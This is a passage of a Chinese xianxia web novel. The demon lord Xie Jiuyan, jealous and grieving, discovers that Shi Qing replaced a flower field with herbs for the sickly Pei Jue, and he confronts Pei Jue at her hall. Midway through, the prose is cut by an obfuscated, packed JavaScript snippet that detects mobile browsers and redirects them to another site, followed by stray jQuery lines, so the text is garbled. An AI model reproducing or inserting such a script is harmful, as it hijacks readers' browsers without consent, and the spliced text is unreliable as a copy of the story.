“你说什么?!”
周身气息骤然凝冰,刺骨寒意席卷开来,谢九晏猛地旋身,死死攫住桑琅的视线,那目光仿佛要将他整个洞穿:“是她……亲手烧的?”
桑琅的头颅垂得更深,艰难地吸进一口气:“是……”
“时护法说……裴公子调理沉疴需以七叶兰入药,然此物极难成活,唯此处……灵力最是纯净丰沛……”
“裴、珏。”
谢九晏缓缓念出这个名字,眸光寸寸沉落,仿佛浸透了无尽墨色。
长久的死寂后,他忽地牵起唇角,声线却愈发轻缓低沉:“她为了他的药,如此亲力亲为……嗯,倒是她做得出的事。”
“可为何——”
谢九晏语调陡转,一字一顿道:“从未有人禀告于本座?!”
桑琅抿了抿唇,声音细若蚊呐:“护法说……扶桑花本就华而不实,除去便罢,无需……扰君上清听。”
闻言,谢九晏唇角弧度愈发深刻,眼底寒霜却已凝为实质,手背青筋虬结突起。
他的目光死死锁住那片清寂的药田,眼前却不受控制地浮现出截然相反的炽烈画面——
也是在这片缓坡之上,少女信手摘下几株开得最盛的扶桑,指尖灵巧翻飞,不多时便绾成一只精巧的花环手钏。
察觉到他投来的视线,她带着点促狭的笑意,倏然欺近,将手钏递到他眼下:“少主,试试?”
他当时蹙紧眉头,嫌弃地别过了头:“女子玩物,俗不可耐。”
闻言,她微一挑眉,而后竟趁他不备,一把攥住他的手腕,硬生生将那花环套了上去,还煞有介事地晃了晃,眸中流转着狡黠又粲然的碎光。
“哪里俗气?扶桑花好,四季不败,正合衬给少主添件鲜亮佩饰,嗯……少主瞧瞧,是不是增色不少?”
他气恼地瞪着眼前的人,只觉得她无聊透顶,想也不想将花环扯下丢在她的怀里,扭头便走。
她却仍在身后扬声笑喊:“哎——少主,你当真不要?那我可送给旁人啦——”
……
“呵……好一个‘扶桑花好,四季不败’?”
谢九晏喉结滚了滚,挤出一抹令人心悸的、近乎碎裂边缘的嘶哑冷笑。
言犹在耳,可如今呢?
那片曾灼灼如火的扶桑海,只剩下为他人栽种的、散发着苦涩气息的药圃!
四季不败是她,华而不实也是她,她的“信誓旦旦”,是否都如同这付之一炬的花海一般,皆是可轻易弃置、转赠他人之物?!
一股无法宣泄的悲怆和怒火,如同失控的洪流,瞬间冲垮了谢九晏强撑一月的克制与理智!
他不再看那碍眼的七叶兰半眼,猛地拂袖转身!
玄墨的袍袖挟起一股凌厉罡风,裹着摧枯拉朽的戾气,近处的兰草如何受得住这等魔息倾轧,霎时便萎黄凋零大半。
而谢九晏未作半分停留,大步流星地循着来路——
不,是朝着那个他月余来刻意回避的,时卿在魔宫深处的居所,疾掠而去!
他的身后,时卿的目光自那片在风中瑟索的七叶兰上移开,望着谢九晏骤然盛怒决绝的背影,低低一叹:“不过是些草木……何必迁怒。”
不过……
抬眸望向谢九晏去往的方向,时卿眼底掠过了然,随即却又极快地浮起一抹幽微难辨的异色。
是……栖梧殿吗?
……
暮色四合,魔界独有的紫灰色天光沉沉压覆着连绵殿宇,为万物蒙上一层厚重的寂寥。
远远望见那座清寂的殿苑,谢九晏冷笑一声,袍袖拂动间,裹挟的凛冽煞气已如利刃般划破。
殿中禁制应声碎裂,谢九晏停也不停,直直而入。
此处不似魔宫他处那般诡谲阴森,反透出一种难得的开阔清朗。
眼前殿门上方,悬着“栖梧殿”三字的匾额,字迹遒劲孤峭,墨色淋漓,正是时卿亲笔所书。
庭院地面以青石铺就,平整如镜,显然常年有人精心打理,以供主人习剑之用,石面上依稀可辨几道深浅不一的划痕。
然而角落一隅,几块雪浪石突兀地圈出一方药圃,与四周利落飒爽的格局格格不入。
圃中新泥尚润,数十株形态纤秀、叶片呈奇异七裂的灵草已悄然抽芽,于晚风中簌簌轻颤。
恰与方才,谢九晏在后山所见的灵植如出一辙。
——七叶兰。
脚步倏然钉在原地,谢九晏的目光死死攫住那片药圃,仿佛被无形的针狠狠刺了一下。
一股难以言喻的窒闷在胸腔里冲撞,让他眼底原本未褪的赤红骤然加深,如同浓墨滴入寒潭,瞬间洇开了更深的戾色。
恰在此时,栖梧殿那扇厚重的乌木殿门发出一声滞涩的“吱呀”轻响,被人从内推开。
一道身影缓步而出,静立阶前。
来人仅随意披了件素白外袍,衣料柔软如流云,虚虚笼在他清瘦的身形上,晚风灌入过于宽大的袍袖,勾勒出衣下近乎孱弱的单薄轮廓。
他眉眼生得极好,肤色却是不见天日的冷白,唇色亦是极淡,似古玉生寒,透着一股挥之不去的病气。
但即便有着如此病容,那份骨子里透出的矜贵风华却未减损分毫,反更添了几分易碎的支离,宛如精瓷雕就。
裴珏。
他似是被殿外动静惊扰而出,见到煞气未消的谢九晏立于庭中,脸上却并无半分讶异。
四目相对,裴珏唇角极细微地向上牵动了一下,勉强算作礼节性的笑意,姿态无可挑剔地微微躬身:“君上久未驾临栖梧殿,今日忽至,不知是忽然有了闲情雅致,抑或……”
他语声微顿,声线温和依旧,带着些许病中的气弱:“有何要事需裴某效劳之处?”
谢九晏眸光寸寸凝结,掺杂着寒意,钉在眼前这张温矜的脸上。
又是这样。
从许多年前,他第一次在时卿身侧见到此人起,他便永远是这副模样。
苍白、病弱、温雅、从容。
如同一块温润无瑕的白玉,仿佛无论置身何等境地,永远不会减损这份不动如山的谦和得体。
而这般常人难以企及的姿态,却反衬得他心底那份无法宣之于口的烦躁与……某种他绝不肯承认、却日夜灼烧肺腑的异样情绪,愈发不堪与窘迫。
栖梧殿……
谢九晏的视线扫过眼前这熟悉又陌生的庭院,每一处都烙印着时卿的气息,却猛地生出一股被彻底排斥在外的无力。
这里并非时卿原本在魔君殿内的居所。
在他登临魔君之位后不久,她便自行迁出了紧邻他寝殿的居所,转而住进了这处偏远之地。
与……裴珏一起。
他派下去的人曾告诉他,这里的一草一木,一石一阶,皆是她亲手布置。
不过一个栖身之处……他知道,她身为护法,事务冗繁,真正在此停留的时日屈指可数,而即便是在,也并非与裴珏同宿一殿。
可他也同样知晓,无论她离开多远,去往何方,只要返回魔域,第一个踏足的,必定是这里,来见……眼前的这个人。
他曾为此数次震怒,明里暗里的迁怒与刁难并非没有过,她却始终置若罔闻,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362745|183766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
待裴珏的上心更不曾削减分毫。
直至他终于忍无可忍,第一次选择了隐晦的妥协与退让,甚至不强行要求她搬回近前,只提出为裴珏另择一处别院安置。
可她当时……是如何回应的?
她只是沉默地垂下眼帘,片刻后抬起,那双总是清亮坦荡的眸子里,映出一种无声却不容撼动的坚持。
只要事关裴珏,她便从不会向他退让。
向来如此。
谢九晏缓缓收拢指节,长久地看着裴珏清隽的面容,冰冷的记忆如潮水倒灌,瞬间淹没了他。
……
那次,她不过是奉了谢沉之命,前往凡界处理一桩微不足道的琐事,归来时,却带回了一个凡人。
那是谢九晏记忆中,裴珏最为狼狈的模样——形销骨立,气息奄奄,数种奇毒在残破的躯壳里肆虐纠缠,仿佛下一刻便会死去。
可他见到裴珏的第一眼,却依旧透过那张被血污覆盖的面容,窥见了那股与濒死之躯极不相称、亦难以磨灭的清贵风华。
虽隐隐不快,他仍未曾过分在意,只当时卿一时兴起,不过一个孱弱凡人,又能掀起什么风浪?
况且……那段时日,正是她对他许诺“永不背弃”之后不久,他并不愿因这等小事与她再生任何罅隙。
直至后来。
时卿几乎将所有的闲暇都耗在了裴珏身上,日复一日守于榻前,耗费无数珍稀灵药为他拔毒,更以自身精纯灵力,寸寸梳理他枯竭紊乱的经脉。
待裴珏终于苏醒,勉强睁开那双温润却深不见底的墨色眼眸时,她却仍没有要将人送走的打算。
他再也按捺不住,在一日时卿刚为裴珏施针完毕、眉宇间带着倦色走出房门时,拦住了她。
而她只是平静地抬眼望来,语气里是全无转圜余地的笃定:“我要留下他。”
留下?
那般陈述事实般的口吻,瞬间点燃了他积压已久的躁郁,他与她大吵一架,几乎掀翻了殿内半数陈设,最终拂袖而去。
而她呢?竟当真连一句解释或安抚都没有,依旧日日守在裴珏身侧,仿佛全然不在意他如何怒,如何想。
纵使后来谢沉身死,魔界大乱,他深陷多方追杀围剿的绝境,她在拼死护他杀出一条血路之际,竟也未曾忘记妥善安置裴珏——
她独自重返魔宫,在混乱厮杀中寻得间隙,悄无声息地将裴珏送离了魔界,藏匿凡间,连对他,都未曾透露半分踪迹!
她便是这般竭尽全力、不计代价地护着这个人,甚至……连他都在防备之列。
……
指骨因过度用力而绷紧,谢九晏深吸一口气,将那几乎焚毁所有理智的灼烫躁动强行镇压,目光沉沉地投向眼前波澜不惊的面容。
“她在哪里?”
一字一顿,声音喑哑如同自碾压的喉骨间艰难挤出,所有的焦灼、等待、不甘,最终……不过凝成这简短四字。
在寻遍三界却杳无音讯的这一个月里,即便谢九晏再如何不愿承认,心底却始终盘踞着一个念头,挥之不去——
若这世间还有一人能知时卿去向……便只会是裴珏。
而此前,他从未遣人踏足栖梧殿问询半句,宁可耗费更多人力漫无目的地搜寻,不过是因着,哪怕尚存一丝其他微末可能,他都不愿是从裴珏口中听到关于时卿的下落。
他怕裴珏亦是一无所知,却更怕……当真得到了那个唯一明确的答案。
因为那个答案,或许会彻底引燃他所剩无几的理智,让他不顾一切地……将眼前这看似温润无害的男子,彻底自这世间抹去!